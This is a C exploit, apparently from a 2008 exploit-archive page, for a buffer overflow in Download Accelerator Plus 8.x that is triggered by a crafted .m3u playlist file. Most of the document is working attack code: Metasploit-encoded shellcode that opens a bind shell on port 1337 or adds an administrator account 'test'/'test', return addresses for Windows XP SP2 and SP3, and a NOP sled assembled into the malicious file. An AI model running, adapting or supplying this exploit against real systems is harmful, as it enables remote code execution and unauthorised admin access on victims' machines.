[2008-07-11] Download Accelerator Plus - DAP 8.x m3u File Buffer Overflow Exploit [.c]

CODE


#include <stdio.h>
#include <stdlib.h>
/*
Download Accelerator Plus - DAP 8.x (.m3u) File Buffer Overflow Vulnerability

SecurityFocus Advisory:
Download Accelerator Plus (DAP) is prone to a buffer-overflow vulnerability
because it fails to perform adequate boundary checks on user-supplied input.
Successfully exploiting this issue may allow remote attackers to execute
arbitrary code in the context of the application.Failed exploit attempts
will cause denial-of-service conditions.

Vulnerability discoverd by Krystian Kloskowski (h07) <h07@interia.pl>
Original POC by h07 http://www.milw0rm.com/exploits/6030

This poc will create a "special" .m3u file that when imported in DAP and then checked with
the verifiy button will cause a buffer overflow and  lead to exploitation.Run the program
with no args for usage info or just look in the code. :P

Tested on Windows XP English sp2&sp3.

C Exploit code by Shinnok
/*

/* win32_bind -  EXITFUNC=seh LPORT=1337 Size=709 Encoder=PexAlphaNum http://metasploit.com */
unsigned char bind_scode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e"
"\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x58"
"\x4e\x36\x46\x32\x46\x52\x4b\x48\x45\x34\x4e\x43\x4b\x48\x4e\x57"
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x48"
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x33\x4b\x38"
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x45\x46\x52\x4a\x42\x45\x57\x45\x4e\x4b\x58"
"\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x43\x30\x4e\x52\x4b\x48"
"\x49\x38\x4e\x36\x46\x32\x4e\x51\x41\x36\x43\x4c\x41\x33\x4b\x4d"
"\x46\x36\x4b\x38\x43\x54\x42\x53\x4b\x38\x42\x34\x4e\x50\x4b\x58"
"\x42\x47\x4e\x51\x4d\x4a\x4b\x58\x42\x34\x4a\x50\x50\x55\x4a\x36"
"\x50\x58\x50\x34\x50\x50\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x56"
"\x43\x55\x48\x56\x4a\x36\x43\x53\x44\x33\x4a\x46\x47\x37\x43\x47"
"\x44\x53\x4f\x55\x46\x45\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"
"\x4e\x4f\x4b\x53\x42\x35\x4f\x4f\x48\x4d\x4f\x55\x49\x48\x45\x4e"
"\x48\x56\x41\x48\x4d\x4e\x4a\x30\x44\x30\x45\x35\x4c\x36\x44\x50"
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
"\x4f\x4f\x48\x4d\x43\x45\x43\x55\x43\x45\x43\x35\x43\x55\x43\x44"
"\x43\x45\x43\x34\x43\x55\x4f\x4f\x42\x4d\x48\x56\x4a\x36\x45\x50"
"\x49\x43\x48\x56\x43\x45\x49\x58\x41\x4e\x45\x49\x4a\x56\x46\x4a"
"\x4c\x31\x42\x37\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x31"
"\x41\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42"
"\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x45\x45\x45\x4f\x4f\x42\x4d"
"\x4a\x36\x45\x4e\x49\x34\x48\x48\x49\x44\x47\x55\x4f\x4f\x48\x4d"
"\x42\x55\x46\x55\x46\x45\x45\x35\x4f\x4f\x42\x4d\x43\x39\x4a\x56"
"\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x45"
"\x4f\x4f\x42\x4d\x48\x56\x4c\x46\x46\x46\x48\x56\x4a\x46\x43\x46"
"\x4d\x46\x49\x38\x45\x4e\x4c\x36\x42\x35\x49\x55\x49\x42\x4e\x4c"
"\x49\x58\x47\x4e\x4c\x46\x46\x54\x49\x58\x44\x4e\x41\x53\x42\x4c"
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x42\x50\x4f\x44\x34\x4e\x42"
"\x43\x59\x4d\x48\x4c\x37\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56"
"\x44\x57\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x44\x4f\x4f"
"\x48\x4d\x4b\x45\x47\x55\x44\x55\x41\x35\x41\x55\x41\x35\x4c\x46"
"\x41\x50\x41\x35\x41\x45\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x36"
"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46"
"\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x58\x47\x35\x4e\x4f"
"\x43\x58\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"
"\x4a\x56\x42\x4f\x4c\x58\x46\x30\x4f\x55\x43\x35\x4f\x4f\x48\x4d"
"\x4f\x4f\x42\x4d\x5a";

/* win32_adduser -  PASS=test EXITFUNC=seh USER=test Size=489 Encoder=PexAlphaNum http://metasploit.com */
unsigned char user_scode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x33\x4b\x58\x4e\x57"
"\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x31\x4b\x58"
"\x4f\x35\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x45\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x50\x4b\x54"
"\x4b\x58\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x41\x4b\x58"
"\x41\x30\x4b\x4e\x49\x48\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x46\x4b\x58\x42\x34\x42\x43\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x58\x42\x44\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43"
"\x48\x4f\x42\x36\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x47"
"\x42\x45\x4a\x36\x42\x4f\x4c\x58\x46\x30\x4f\x45\x4a\x36\x4a\x39"
"\x50\x4f\x4c\x38\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x4d\x46"
"\x46\x46\x50\x42\x45\x56\x4a\x47\x45\x46\x42\x52\x4f\x52\x43\x36"
"\x42\x32\x50\x46\x45\x46\x46\x57\x42\x52\x45\x47\x43\x37\x45\x36"
"\x44\x37\x42\x32\x46\x37\x45\x36\x43\x47\x46\x37\x42\x42\x46\x37"
"\x45\x36\x43\x37\x46\x37\x42\x52\x4f\x52\x41\x44\x46\x54\x46\x44"
"\x42\x52\x48\x42\x48\x32\x42\x32\x50\x36\x45\x56\x46\x57\x42\x42"
"\x4e\x36\x4f\x36\x43\x56\x41\x36\x4e\x56\x47\x46\x44\x37\x4f\x36"
"\x45\x37\x42\x37\x42\x42\x41\x34\x46\x46\x4d\x56\x49\x56\x50\x46"
"\x49\x56\x43\x57\x46\x37\x44\x37\x41\x56\x46\x47\x4f\x56\x44\x37"
"\x43\x57\x42\x52\x46\x47\x45\x56\x43\x37\x46\x47\x42\x32\x4f\x52"
"\x41\x34\x46\x34\x46\x34\x42\x30\x5a";



unsigned char ra_sp2[] = "\xcf\xbc\x08\x76"; //msvcp60.dll
unsigned char ra_sp3[] = "\xe1\xbc\x08\x76"; //msvcp60.dll

unsigned char nops1[14115]; //14115 * \x90
unsigned char nops2[30]; //30 * \x90

int main(int argc, char **argv)
{
int i;
FILE* f;
char* ra=NULL;
char* scode=NULL;
printf("[+] Download Accelerator Plus - DAP 8.x (.m3u) File Buffer Overflow Vulnerability\n");
printf("[+] Discovered by Krystian Kloskowski (h07) <h07@interia.pl>\n");
printf("[+] Code by Shinnok\n");
if ((argc!=3)||((atoi(argv[1])!=0)&&(atoi(argv[1])!=1))||((atoi(argv[2])!=0)&&(atoi(argv[2])!=1))){
    printf("Usage: %s target payload\n",argv[0]);
    printf("Where target is:\n");
    printf("0: WinXP SP2\n");
    printf("1: WinXP SP3\n");
    printf("Where payload is:\n");
    printf("0: bind shell on 1337\n");
    printf("1: add admin user \"test\" with password \"test\"\n");
    return EXIT_SUCCESS;
}
for(i=0;i<14115;i++) nops1[i]='\x90';
nops1[14115]='\0';
for(i=0;i<30;i++) nops2[i]='\x90';
nops2[30]='\0';
if(atoi(argv[1])==0) ra=ra_sp2;
else ra=ra_sp3;
if(atoi(argv[2])==0) scode=bind_scode;
else scode=user_scode;
f=fopen("sploit.m3u","wb");
fprintf(f,"http://localhost/%s%s%s%s.mp3%c%c",nops1,ra,nops2,scode,'\xd','\xa');
fflush(f);
fclose(f);
printf("sploit.m3u created!\n");
return EXIT_SUCCESS;
}
Other references

Milw0rm : http://www.milw0rm.com/exploits/6039
Securityfocus : http://www.securityfocus.com/bid/30138/info
Shinnok @127.0.0.1

When in doubt, use brute force

[2008-07-11] Download Accelerator Plus - DAP 8.x m3u File Buffer Overflow Exploit [.c]

CODE

Other references
